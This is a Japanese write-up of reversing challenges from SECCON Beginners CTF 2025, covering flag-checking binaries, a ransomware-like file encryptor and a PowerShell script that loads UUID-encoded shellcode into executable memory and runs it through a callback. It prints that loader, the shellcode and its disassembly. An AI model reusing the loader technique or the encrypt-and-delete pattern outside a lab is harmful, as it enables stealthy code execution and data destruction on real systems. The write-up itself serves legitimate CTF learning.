はじめに
チーム team_vscs で参加させていただきました。解けた問題の Writeup を書きます。
開催概要
- 言語: 日本語
- 形式: Jeopardy(オンライン)
- 開催日時: 2025/7/26 (土) 14:00 JST ~ 2025/7/27 (日) 14:00 JST
使用環境
- Windows11 24H2 (ホスト)
- VirtualBox 7.0
- Ghidra 11.2.1
- x64dbg snapshot_2025-07-04_16-03
- Ubuntu 22.04.5 LTS (ゲスト)
- Python 3.10.12 + pwntools 4.14.1
- gdb 12.1 + pwndbg 2025.04.18
感想
SECCON Beginners CTF 初参戦でしたので、過去5年分のreversing、pwnable問題+AlpacaHackを勉強してから臨みました。
当日は集中したかったので、精神と時の部屋(別名:漫喫ブース席)で徹夜しましたが、それでも時間が足りずラスボス(カーネル問)まで辿り着けませんでした。もっと早く解けるように精進いたします。
目次
- reversing(6問)
- CrazyLazyProgram1 (beginner / 100pt / 654solves)
- CrazyLazyProgram2 (easy / 100pt / 468solves)
- D-compile (easy / 100pt / 335solves)
- wasm_S_exp (medium / 100pt / 330solves)
- MAFC (hard / 339pt / 144solves)
- code_injection (hard / 441pt / 88solves)
- pwnable(5問)
reversing
CrazyLazyProgram1
出題
改行が面倒だったのでワンライナーにしてみました。
提供ファイル: CLP1.cs
using System;class Program {static void Main() {int len=0x23;Console.Write("INPUT > ");string flag=Console.ReadLine();if((flag.Length)!=len){Console.WriteLine("WRONG!");}else{if(flag[0]==0x63&&flag[1]==0x74&&flag[2]==0x66&&flag[3]==0x34&&flag[4]==0x62&&flag[5]==0x7b&&flag[6]==0x31&&flag[7]==0x5f&&flag[8]==0x31&&flag[9]==0x69&&flag[10]==0x6e&&flag[11]==0x33&&flag[12]==0x72&&flag[13]==0x35&&flag[14]==0x5f&&flag[15]==0x6d&&flag[16]==0x61&&flag[17]==0x6b&&flag[18]==0x33&&flag[19]==0x5f&&flag[20]==0x50&&flag[21]==0x47&&flag[22]==0x5f&&flag[23]==0x68&&flag[24]==0x61&&flag[25]==0x72&&flag[26]==0x64&&flag[27]==0x5f&&flag[28]==0x32&&flag[29]==0x5f&&flag[30]==0x72&&flag[31]==0x33&&flag[32]==0x61&&flag[33]==0x64&&flag[34]==0x7d){Console.WriteLine("YES!!!\nThis is Flag :)");}else{Console.WriteLine("WRONG!");}}}}
解法
flag配列の内容をアスキーコード16進表記で比較しているだけです。比較の順番も配列添え字順に並んでいるので、0x??となっている部分を抜き出してアスキー文字に変換するだけです。
$ grep -o '0x[0-9a-fA-F]\{2\}' CLP1.cs | sed 's/0x//' | xxd -r -p
#ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}
ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}
CrazyLazyProgram2
出題
コーディングが面倒だったので機械語で作ってみました
提供ファイル: CLP2.o
解法
CLP2.oはただのオブジェクトファイルなので、そのままでは実行できません。
naoki@ubuntu-2204:~/SECCON_Beginners_CTF_2025/CrazyLazyProgram2$ file CLP2.o
CLP2.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
CLP2.oをGhidraで読み込んで、逆アセンブルします。

これもCrazyLazyProgram1と同様に、添え字順に文字比較を行っているだけです。比較式の文字だけを抜き出せがフラグになります。
ちなみに、main関数はCLP2.oに含まれているので、スタートアップルーチンなどをリンクしてあげると、普通に実行できるようになります。
$ nm CLP2.o
U __isoc99_scanf
0000000000000000 T main
U printf
U puts
$ gcc CLP2.o
$ ls
CLP2.o a.out
$ file a.out
a.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aaaef394c1ef34ec5be1a5b1a2bf3019acb312cb, for GNU/Linux 3.2.0, not stripped
$ ./a.out
Enter the flag: ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
Flag is correct!
ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
D-compile
出題
C言語の次はこれ!
This is the next trending programming language!
※一部環境ではlibgphobos5が必要となります。 また必要に応じてecho -nをご利用ください。
Note:In some environments, libgphobos5 is required. Also, use the echo -n command as necessary.
提供ファイル: d-compile
解法
d-compileをGhidraで読み込んで、逆アセンブルします。

_D4core8internal5array8equality__T8__equalsTaTaZQoFNaNbNiNeMxAaMxQeZb()関数の第2引数と第4引数にそれぞれユーザ入力とpuVar2を渡しています。
関数の中では、第2引数と第4引数をmemcmpで比較しているので、第4引数(puVar2)がフラグになります。puVar2の内容をリトルエンディアンとして、アスキー文字に変換するソルバーを書きます。
hex_values = [
0x334E7B6234667463,
0x646E3372545F7478,
0x75396E61315F445F,
0x7D3130315F336761,
]
result = ""
for val in hex_values:
bytes_le = val.to_bytes(8, byteorder="little")
result += bytes_le.decode("ascii")
print(result)
$ python3 solver.py
ctf4b{N3xt_Tr3nd_D_1an9uag3_101}
手元のUbuntu環境には libgphobos.so.5 がなかったので、適当なサイトから取ってきて使いました。
$ ls
d-compile libgphobos-14.2.1-3.fc41.x86_64.rpm libgphobos.so.5 solver.py usr
$ LD_LIBRARY_PATH=. ldd ./d-compile
linux-vdso.so.1 (0x00007ffd743b6000)
libgphobos.so.5 => ./libgphobos.so.5 (0x00007f3a94f74000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007f3a94f49000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3a94d20000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f3a94c39000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3a95857000)
$ echo -n 'ctf4b{N3xt_Tr3nd_D_1an9uag3_101}' | LD_LIBRARY_PATH=. ./d-compile
input flag>
way to go! this is the flag :)
ctf4b{N3xt_Tr3nd_D_1an9uag3_101}
wasm_S_exp
出題
フラグをチェックしてくれるプログラム
提供ファイル: check_flag.wat
(module
(memory (export "memory") 1 )
(func (export "check_flag") (result i32)
i32.const 0x7b
i32.const 38
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x67
i32.const 20
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x5f
i32.const 46
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x21
i32.const 3
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x63
i32.const 18
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x6e
i32.const 119
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x5f
i32.const 51
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x79
i32.const 59
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x34
i32.const 9
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x57
i32.const 4
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x35
i32.const 37
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x33
i32.const 12
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x62
i32.const 111
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x63
i32.const 45
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x7d
i32.const 97
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x30
i32.const 54
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x74
i32.const 112
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x31
i32.const 106
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x66
i32.const 43
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x34
i32.const 17
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x34
i32.const 98
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x54
i32.const 120
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x5f
i32.const 25
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x6c
i32.const 127
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 0x41
i32.const 26
call $stir
i32.load8_u
i32.ne
if
i32.const 0
return
end
i32.const 1
return
)
(func $stir (param $x i32) (result i32)
i32.const 1024
i32.const 23
i32.const 37
local.get $x
i32.const 0x5a5a
i32.xor
i32.mul
i32.add
i32.const 101
i32.rem_u
i32.add
return
)
)
解法
check_flag.wat は WebAssembly Text Format (WAT) ファイルのようです。
内容を見ると、以下のような文字(16進表記)と数字のセットを入力として、$stir関数に渡しているようです。
i32.const 0x7b
i32.const 38
call $stir
(func $stir (param $x i32) (result i32)
i32.const 1024
i32.const 23
i32.const 37
local.get $x
i32.const 0x5a5a
i32.xor
i32.mul
i32.add
i32.const 101
i32.rem_u
i32.add
return
)
\$stir関数は入力された数値を元に、その文字がフラグの何番目なのかを返すようです。
WebAssemblyはスタックマシンなので、$stir関数の処理をpythonで書くと以下のようになります。
def stir(x):
return 1024 + ((23 + 37 * (x ^ 0x5A5A)) % 101)
この関数に入力を渡すソルバーを書きます。
input = [
(0x7B, 38), (0x67, 20), (0x5F, 46), (0x21, 3), (0x63, 18), (0x6E, 119), (0x5F, 51), (0x79, 59),
(0x34, 9), (0x57, 4), (0x35, 37), (0x33, 12), (0x62, 111), (0x63, 45), (0x7D, 97), (0x30, 54),
(0x74, 112),(0x31, 106), (0x66, 43), (0x34, 17), (0x34, 98), (0x54, 120), (0x5F, 25), (0x6C, 127), (0x41, 26),] # fmt: skip
def stir(x):
return 1024 + ((23 + 37 * (x ^ 0x5A5A)) % 101)
memory = bytearray(10000)
for c, i in input:
memory[stir(i)] = c
print(memory.decode())
$ python3 solver.py
ctf4b{WAT_4n_345y_l0g1c!}
ctf4b{WAT_4n_345y_l0g1c!}
MAFC
出題
flagが欲しいかい?ならこのマルウェアを解析してみな。
Wanna get flag? if so, Reversing this Malware if you can
提供ファイル: MalwareAnalysis-FirstChallenge.exe
提供ファイル: flag.encrypted
解法
MalwareAnalysis-FirstChallenge.exeを実行すると、同フォルダのflag.txtを読み取り、flag.encryptedが生成されます。元のflag.txtは削除されます。
C:\Users\user\Desktop\MAFC>dir
2025/07/31 20:50 <DIR> .
2025/07/31 20:50 <DIR> ..
2025/07/31 20:50 6 flag.txt
2025/07/31 20:49 15,872 MalwareAnalysis-FirstChallenge.exe
C:\Users\user\Desktop\MAFC>MalwareAnalysis-FirstChallenge.exe
C:\Users\user\Desktop\MAFC>dir
2025/07/31 20:50 <DIR> .
2025/07/31 20:50 <DIR> ..
2025/07/31 20:50 64 flag.encrypted
2025/07/31 20:49 15,872 MalwareAnalysis-FirstChallenge.exe
C:\Users\user\Desktop\MAFC>
Ghidraで読み込んで、逆コンパイルします。関数がたくさんあるのですが、メインの処理はFUN_1400011a0()にありそうです。
FUN_1400011a0()
void FUN_1400011a0(void)
{
uint uVar1;
code *pcVar2;
longlong lVar3;
BOOL BVar4;
DWORD nNumberOfBytesToRead;
HANDLE hFile;
HANDLE hFile_00;
void *pvVar5;
longlong lVar6;
BYTE *pbData;
BYTE *_Memory;
ulonglong _Size;
longlong lVar7;
BYTE *pBVar8;
undefined auStackY_b8 [32];
HCRYPTKEY local_78;
HCRYPTPROV local_70;
BYTE local_68 [8];
DWORD local_60;
DWORD local_5c;
HCRYPTHASH local_58;
BYTE local_50 [24];
ulonglong local_38;
local_38 = DAT_140005000 ^ (ulonglong)auStackY_b8;
pbData = (BYTE *)0x0;
hFile = CreateFileA("flag.txt",0x80000000,1,(LPSECURITY_ATTRIBUTES)0x0,3,0x80,(HANDLE)0x0);
if (hFile == (HANDLE)0xffffffffffffffff) {
puts("Failed to handle flag.txt\n");
}
else {
hFile_00 = CreateFileA("flag.encrypted",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,
(HANDLE)0x0);
if (hFile_00 == (HANDLE)0xffffffffffffffff) {
puts("Failed to handle flag.encrypted\n");
goto LAB_140001637;
}
BVar4 = CryptAcquireContextW
(&local_70,(LPCWSTR)0x0,
L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,0);
if ((BVar4 == 0) &&
(BVar4 = CryptAcquireContextW
(&local_70,(LPCWSTR)0x0,
L"Microsoft Enhanced RSA and AES Cryptographic Provider",0x18,8),
BVar4 == 0)) {
puts("CryptAcquireContext() Error\n");
goto LAB_140001637;
}
BVar4 = CryptCreateHash(local_70,0x800c,0,0,&local_58);
if (BVar4 == 0) {
puts("CryptCreateHash() Error\n");
goto LAB_140001637;
}
builtin_memcpy(local_50 + 0x10,"Key",4);
builtin_memcpy(local_50,"ThisIsTheEncrypt",0x10);
lVar6 = -1;
do {
lVar7 = lVar6 + 1;
lVar3 = lVar6 + 1;
lVar6 = lVar7;
} while (local_50[lVar3] != '\0');
BVar4 = CryptHashData(local_58,local_50,(DWORD)lVar7,0);
if (BVar4 == 0) {
puts("CryptHashData() Error\n");
goto LAB_140001637;
}
BVar4 = CryptDeriveKey(local_70,0x6610,local_58,0x1000000,&local_78);
if (BVar4 == 0) {
puts("CryptDeriveKey() Error\n");
goto LAB_140001637;
}
local_68[0] = '\x01';
local_68[1] = '\0';
local_68[2] = '\0';
local_68[3] = '\0';
BVar4 = CryptSetKeyParam(local_78,3,local_68,0);
if (BVar4 == 0) {
puts("CryptSeKeyParam() Error\n");
goto LAB_140001637;
}
BVar4 = CryptSetKeyParam(local_78,1,(BYTE *)L"IVCanObfuscation",0);
if (BVar4 == 0) {
puts("CryptSeKeyParam() with IV Error\n");
goto LAB_140001637;
}
local_68[4] = '\x01';
local_68[5] = '\0';
local_68[6] = '\0';
local_68[7] = '\0';
BVar4 = CryptSetKeyParam(local_78,4,local_68 + 4,0);
if (BVar4 == 0) {
puts("CryptSetKeyParam() with set MODE Error\n");
goto LAB_140001637;
}
nNumberOfBytesToRead = GetFileSize(hFile,(LPDWORD)0x0);
uVar1 = nNumberOfBytesToRead + 0x10;
_Size = (ulonglong)uVar1;
pBVar8 = pbData;
if (uVar1 != 0) {
if (_Size < 0x1000) {
pbData = (BYTE *)operator_new(_Size);
}
else {
if ((ulonglong)uVar1 + 0x27 <= _Size) {
FUN_140001100();
pcVar2 = (code *)swi(3);
(*pcVar2)();
return;
}
pvVar5 = operator_new((ulonglong)uVar1 + 0x27);
if (pvVar5 == (void *)0x0) goto LAB_140001653;
pbData = (BYTE *)((longlong)pvVar5 + 0x27U & 0xffffffffffffffe0);
*(void **)(pbData + -8) = pvVar5;
}
pBVar8 = pbData + _Size;
memset(pbData,0,_Size);
}
local_60 = 0;
BVar4 = ReadFile(hFile,pbData,nNumberOfBytesToRead,&local_60,(LPOVERLAPPED)0x0);
if (BVar4 == 0) {
puts("ReadFile() Error\n");
}
else {
lVar6 = -1;
do {
lVar6 = lVar6 + 1;
} while (pbData[lVar6] != '\0');
local_5c = (int)lVar6 + 1;
BVar4 = CryptEncrypt(local_78,0,1,0,pbData,&local_5c,0x40);
if (BVar4 == 0) {
puts("CryptEncrypt() Error\n");
}
else {
BVar4 = WriteFile(hFile_00,pbData,0x40,(LPDWORD)0x0,(LPOVERLAPPED)0x0);
if (BVar4 == 0) {
puts("WriteFile() error\n");
}
else {
CloseHandle(hFile);
CloseHandle(hFile_00);
BVar4 = DeleteFileA("flag.txt");
if (BVar4 == 0) {
puts("DeleteFileA() error\n");
}
else {
BVar4 = CryptDestroyKey(local_78);
if (BVar4 == 0) {
puts("CryptDestroyKey() error\n");
}
else {
BVar4 = CryptDestroyHash(local_58);
if (BVar4 == 0) {
puts("CryptDestroyHash() error\n");
}
else {
BVar4 = CryptReleaseContext(local_70,0);
if (BVar4 == 0) {
puts("CryptReleaseContext() error\n");
}
}
}
}
}
}
}
if (pbData != (BYTE *)0x0) {
_Memory = pbData;
if ((0xfff < (ulonglong)((longlong)pBVar8 - (longlong)pbData)) &&
(_Memory = *(BYTE **)(pbData + -8), (BYTE *)0x1f < pbData + (-8 - (longlong)_Memory))) {
LAB_140001653:
/* WARNING: Subroutine does not return */
_invoke_watson((wchar_t *)0x0,(wchar_t *)0x0,(wchar_t *)0x0,0,0);
}
free(_Memory);
}
}
LAB_140001637:
FUN_140001680(local_38 ^ (ulonglong)auStackY_b8);
return;
}
この関数の中で、flag.txtの内容を読み取って、暗号化しています。暗号関連のパラメータを確認していきます。
AES-256
BVar4 = CryptDeriveKey(local_70,0x6610,local_58,0x1000000,&local_78); // 0x6610 = CALG_AES_256
CBCモード
local_68[4] = '\x01'; // 0x00000001はCRYPT_MODE_CBC
local_68[5] = '\0';
local_68[6] = '\0';
local_68[7] = '\0';
BVar4 = CryptSetKeyParam(local_78,4,local_68 + 4,0); // 4 = KP_MODE(暗号モード)
Key ("ThisIsTheEncryptKey"のSHA-256ハッシュ値)
builtin_memcpy(local_50 + 0x10,"Key",4);
builtin_memcpy(local_50,"ThisIsTheEncrypt",0x10);
BVar4 = CryptCreateHash(local_70,0x800c,0,0,&local_58); // 0x800c = CALG_SHA_256
BVar4 = CryptHashData(local_58,local_50,(DWORD)lVar7,0);
$ echo -n "ThisIsTheEncryptKey" | sha256sum
adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -
IV
BVar4 = CryptSetKeyParam(local_78,1,(BYTE *)L"IVCanObfuscation",0); // 1 = KP_IV(AESなら16バイト)
"IVCanObfuscation"をそのまま16進表記した495643616E4F62667573636174696F6EをIVとして復号すると、壊れたフラグになってしまいます。
$ openssl enc -d -aes-256-cbc -in flag.encrypted -K adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -iv 495643616E4F62667573636174696F6E
c"sUO4tb,>/Y(1y0u_suc3553d_2_ana1yz3_Ma1war3!!!}
x64dbgにてIVを設定しているCryptSetKeyParam()呼出しの第3引数の内容を確認すると、49 00 56 00 43 00 61 00 6E 00 4F 00 62 00 66 00 ...のように間に0x00が入っています。これはUTF-16LEエンコーディングの場合にこのような内部表現になるようです。AESのIVは16バイトなので、先頭16バイトを使用します。
$ openssl enc -d -aes-256-cbc -in flag.encrypted -K adafd798c69ffaef2b2bbb44364f0952b988cdd37bb66bb2cb19b5827a8a2465 -iv 49005600430061006E004F0062006600
ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}
ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}
code_injection
出題
ある条件のときにフラグが表示されるみたい。
提供ファイル: ps_z.ps1
add-type '
using System;
using System.Runtime.InteropServices;
[StructLayout( LayoutKind.Sequential )]
public static class Kernel32{
[DllImport( "kernel32.dll" )]
public static extern IntPtr VirtualAlloc( IntPtr address, int size, int AllocType, int protect );
[DllImport( "kernel32.dll" )]
public static extern bool EnumSystemLocalesA( IntPtr buf, uint flags );
}
public static class Rpcrt4{
[DllImport( "rpcrt4.dll" )]
public static extern void UuidFromStringA( string uuid, IntPtr buf );
}';
$workdir = ( Get-Location ).Path;
[System.IO.Directory]::SetCurrentDirectory( $workdir );
$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
$tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
$buf = [IntPtr]( $buf.ToInt64() + 16 )
}
提供ファイル: sh.txt
56525153-4157-4150-5155-4889e54883e4
ec8348f0-6530-8b48-0425-60000000488b
8b482040-80b0-0000-0083-3e000f84a701
3e810000-0043-0054-7526-817e04460034
811d7500-087e-0042-3d00-7514837e0c31
8b480e75-481e-e3c1-0848-895c2420eb06
02c68348-c3eb-4865-8b04-256000000048
4818408b-408b-4820-8b00-488b7850488b
20b9481f-2000-2000-0020-004809cb48c1
334808e3-245c-4820-8b00-488b78504803
20b9481f-2000-2000-0020-004809cb4889
4820245c-588b-8b20-433c-4801d88bb888
48000000-df01-778b-2048-01de48ba0540
7d454e56-2a08-8948-5424-104831c98b14
da01488e-3a81-6547-7453-7514817a0474
75614864-810b-087a-6e64-6c657502eb05
ebc1ff48-8bd9-2477-4801-de668b0c4e8b
01481c77-8bde-8e04-4801-d848ba5b403a
13404150-4852-5489-2418-b9f5ffffffff
c08949d0-ba48-5908-0314-1059096b4889
778b2414-4820-de01-4831-c98b148e4801
573a81da-6972-7574-1481-7a0465436f6e
7a810b75-7308-6c6f-6575-02eb0548ffc1
778bd9eb-4824-de01-668b-0c4e48ba1f72
13044e56-681c-8948-5424-088b771c4801
8e048bde-0148-48d8-83ec-30488d542430
48c93148-f983-7404-124c-8b4c24504c33
894cca0c-ca0c-ff48-c1eb-e84c89c149c7
000020c0-4d00-c931-48c7-442420000000
48d0ff00-c483-eb30-0048-31c04889ec5d
58415941-5e5f-595a-5bc3-000000000000
解法
UUID でエンコードされたシェルコード(sh.txt 内)をバイナリ形式でメモリにロードして実行するスクリプトです。以下の箇所で、実行権付きメモリ確保、UUIDをバイナリ変換しメモリにロード、実行を行っています。
$lines = [System.IO.File]::ReadAllLines( ".\sh.txt" );
$buf = [Kernel32]::VirtualAlloc( [IntPtr]::Zero, $lines.Length * 16, 0x1000, 0x40 );
$proc = $buf;
foreach( $line in $lines ){
$tmp = [Rpcrt4]::UuidFromStringA( $line, $buf );
$buf = [IntPtr]( $buf.ToInt64() + 16 )
}
$tmp = [Kernel32]::EnumSystemLocalesA( $proc, 0 );
普通に実行すると何も表示されません。
PS > Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
PS > .\ps_z.ps1
UUIDの内容(sh.txt)をバイナリ(リトルエンディアン)に変換して、内容を確認します。
import sys, uuid
for l in sys.stdin:
sys.stdout.buffer.write(uuid.UUID(l.strip()).bytes_le)
$ cat sh.txt | python3 decode.py > sh.bin
$ objdump -D -b binary -m i386:x86-64 -M intel sh.bin > sh.dump
sh.dump
sh.bin: file format binary
Disassembly of section .data:
0000000000000000 <.data>:
0: 53 push rbx
1: 51 push rcx
2: 52 push rdx
3: 56 push rsi
4: 57 push rdi
5: 41 50 push r8
7: 41 51 push r9
9: 55 push rbp
a: 48 89 e5 mov rbp,rsp
d: 48 83 e4 f0 and rsp,0xfffffffffffffff0
11: 48 83 ec 30 sub rsp,0x30
15: 65 48 8b 04 25 60 00 mov rax,QWORD PTR gs:0x60
1c: 00 00
1e: 48 8b 40 20 mov rax,QWORD PTR [rax+0x20]
22: 48 8b b0 80 00 00 00 mov rsi,QWORD PTR [rax+0x80]
29: 83 3e 00 cmp DWORD PTR [rsi],0x0
2c: 0f 84 a7 01 00 00 je 0x1d9
32: 81 3e 43 00 54 00 cmp DWORD PTR [rsi],0x540043
38: 75 26 jne 0x60
3a: 81 7e 04 46 00 34 00 cmp DWORD PTR [rsi+0x4],0x340046
41: 75 1d jne 0x60
43: 81 7e 08 42 00 3d 00 cmp DWORD PTR [rsi+0x8],0x3d0042
4a: 75 14 jne 0x60
4c: 83 7e 0c 31 cmp DWORD PTR [rsi+0xc],0x31
50: 75 0e jne 0x60
52: 48 8b 1e mov rbx,QWORD PTR [rsi]
55: 48 c1 e3 08 shl rbx,0x8
59: 48 89 5c 24 20 mov QWORD PTR [rsp+0x20],rbx
5e: eb 06 jmp 0x66
60: 48 83 c6 02 add rsi,0x2
64: eb c3 jmp 0x29
66: 65 48 8b 04 25 60 00 mov rax,QWORD PTR gs:0x60
6d: 00 00
6f: 48 8b 40 18 mov rax,QWORD PTR [rax+0x18]
73: 48 8b 40 20 mov rax,QWORD PTR [rax+0x20]
77: 48 8b 00 mov rax,QWORD PTR [rax]
7a: 48 8b 78 50 mov rdi,QWORD PTR [rax+0x50]
7e: 48 8b 1f mov rbx,QWORD PTR [rdi]
81: 48 b9 20 00 20 00 20 movabs rcx,0x20002000200020
88: 00 20 00
8b: 48 09 cb or rbx,rcx
8e: 48 c1 e3 08 shl rbx,0x8
92: 48 33 5c 24 20 xor rbx,QWORD PTR [rsp+0x20]
97: 48 8b 00 mov rax,QWORD PTR [rax]
9a: 48 8b 78 50 mov rdi,QWORD PTR [rax+0x50]
9e: 48 03 1f add rbx,QWORD PTR [rdi]
a1: 48 b9 20 00 20 00 20 movabs rcx,0x20002000200020
a8: 00 20 00
ab: 48 09 cb or rbx,rcx
ae: 48 89 5c 24 20 mov QWORD PTR [rsp+0x20],rbx
b3: 48 8b 58 20 mov rbx,QWORD PTR [rax+0x20]
b7: 8b 43 3c mov eax,DWORD PTR [rbx+0x3c]
ba: 48 01 d8 add rax,rbx
bd: 8b b8 88 00 00 00 mov edi,DWORD PTR [rax+0x88]
c3: 48 01 df add rdi,rbx
c6: 8b 77 20 mov esi,DWORD PTR [rdi+0x20]
c9: 48 01 de add rsi,rbx
cc: 48 ba 05 40 56 4e 45 movabs rdx,0x2a087d454e564005
d3: 7d 08 2a
d6: 48 89 54 24 10 mov QWORD PTR [rsp+0x10],rdx
db: 48 31 c9 xor rcx,rcx
de: 8b 14 8e mov edx,DWORD PTR [rsi+rcx*4]
e1: 48 01 da add rdx,rbx
e4: 81 3a 47 65 74 53 cmp DWORD PTR [rdx],0x53746547
ea: 75 14 jne 0x100
ec: 81 7a 04 74 64 48 61 cmp DWORD PTR [rdx+0x4],0x61486474
f3: 75 0b jne 0x100
f5: 81 7a 08 6e 64 6c 65 cmp DWORD PTR [rdx+0x8],0x656c646e
fc: 75 02 jne 0x100
fe: eb 05 jmp 0x105
100: 48 ff c1 inc rcx
103: eb d9 jmp 0xde
105: 8b 77 24 mov esi,DWORD PTR [rdi+0x24]
108: 48 01 de add rsi,rbx
10b: 66 8b 0c 4e mov cx,WORD PTR [rsi+rcx*2]
10f: 8b 77 1c mov esi,DWORD PTR [rdi+0x1c]
112: 48 01 de add rsi,rbx
115: 8b 04 8e mov eax,DWORD PTR [rsi+rcx*4]
118: 48 01 d8 add rax,rbx
11b: 48 ba 5b 40 3a 50 41 movabs rdx,0x52134041503a405b
122: 40 13 52
125: 48 89 54 24 18 mov QWORD PTR [rsp+0x18],rdx
12a: b9 f5 ff ff ff mov ecx,0xfffffff5
12f: ff d0 call rax
131: 49 89 c0 mov r8,rax
134: 48 ba 08 59 03 14 10 movabs rdx,0x6b09591014035908
13b: 59 09 6b
13e: 48 89 14 24 mov QWORD PTR [rsp],rdx
142: 8b 77 20 mov esi,DWORD PTR [rdi+0x20]
145: 48 01 de add rsi,rbx
148: 48 31 c9 xor rcx,rcx
14b: 8b 14 8e mov edx,DWORD PTR [rsi+rcx*4]
14e: 48 01 da add rdx,rbx
151: 81 3a 57 72 69 74 cmp DWORD PTR [rdx],0x74697257
157: 75 14 jne 0x16d
159: 81 7a 04 65 43 6f 6e cmp DWORD PTR [rdx+0x4],0x6e6f4365
160: 75 0b jne 0x16d
162: 81 7a 08 73 6f 6c 65 cmp DWORD PTR [rdx+0x8],0x656c6f73
169: 75 02 jne 0x16d
16b: eb 05 jmp 0x172
16d: 48 ff c1 inc rcx
170: eb d9 jmp 0x14b
172: 8b 77 24 mov esi,DWORD PTR [rdi+0x24]
175: 48 01 de add rsi,rbx
178: 66 8b 0c 4e mov cx,WORD PTR [rsi+rcx*2]
17c: 48 ba 1f 72 56 4e 04 movabs rdx,0x681c13044e56721f
183: 13 1c 68
186: 48 89 54 24 08 mov QWORD PTR [rsp+0x8],rdx
18b: 8b 77 1c mov esi,DWORD PTR [rdi+0x1c]
18e: 48 01 de add rsi,rbx
191: 8b 04 8e mov eax,DWORD PTR [rsi+rcx*4]
194: 48 01 d8 add rax,rbx
197: 48 83 ec 30 sub rsp,0x30
19b: 48 8d 54 24 30 lea rdx,[rsp+0x30]
1a0: 48 31 c9 xor rcx,rcx
1a3: 48 83 f9 04 cmp rcx,0x4
1a7: 74 12 je 0x1bb
1a9: 4c 8b 4c 24 50 mov r9,QWORD PTR [rsp+0x50]
1ae: 4c 33 0c ca xor r9,QWORD PTR [rdx+rcx*8]
1b2: 4c 89 0c ca mov QWORD PTR [rdx+rcx*8],r9
1b6: 48 ff c1 inc rcx
1b9: eb e8 jmp 0x1a3
1bb: 4c 89 c1 mov rcx,r8
1be: 49 c7 c0 20 00 00 00 mov r8,0x20
1c5: 4d 31 c9 xor r9,r9
1c8: 48 c7 44 24 20 00 00 mov QWORD PTR [rsp+0x20],0x0
1cf: 00 00
1d1: ff d0 call rax
1d3: 48 83 c4 30 add rsp,0x30
1d7: eb 00 jmp 0x1d9
1d9: 48 31 c0 xor rax,rax
1dc: 48 89 ec mov rsp,rbp
1df: 5d pop rbp
1e0: 41 59 pop r9
1e2: 41 58 pop r8
1e4: 5f pop rdi
1e5: 5e pop rsi
1e6: 5a pop rdx
1e7: 59 pop rcx
1e8: 5b pop rbx
1e9: c3 ret
1ea: 00 00 add BYTE PTR [rax],al
1ec: 00 00 add BYTE PTR [rax],al
...
このバイナリ(sh.bin)をGhidraで逆コンパイルします。
逆コンパイル結果
undefined8 UndefinedFunction_00000000(void)
{
uint uVar1;
longlong *plVar2;
longlong lVar3;
undefined8 uVar4;
longlong lVar5;
int *piVar6;
ulonglong *puVar7;
longlong lVar8;
longlong unaff_GS_OFFSET;
ulonglong auStack_70 [6];
puVar7 = *(ulonglong **)(*(longlong *)(*(longlong *)(unaff_GS_OFFSET + 0x60) + 0x20) + 0x80);
while( true ) {
if (*(int *)puVar7 == 0) {
return 0;
}
if ((((*(int *)puVar7 == 0x540043) && (*(int *)((longlong)puVar7 + 4) == 0x340046)) &&
(*(int *)(puVar7 + 1) == 0x3d0042)) && (*(int *)((longlong)puVar7 + 0xc) == 0x31)) break;
puVar7 = (ulonglong *)((longlong)puVar7 + 2);
}
plVar2 = (longlong *)
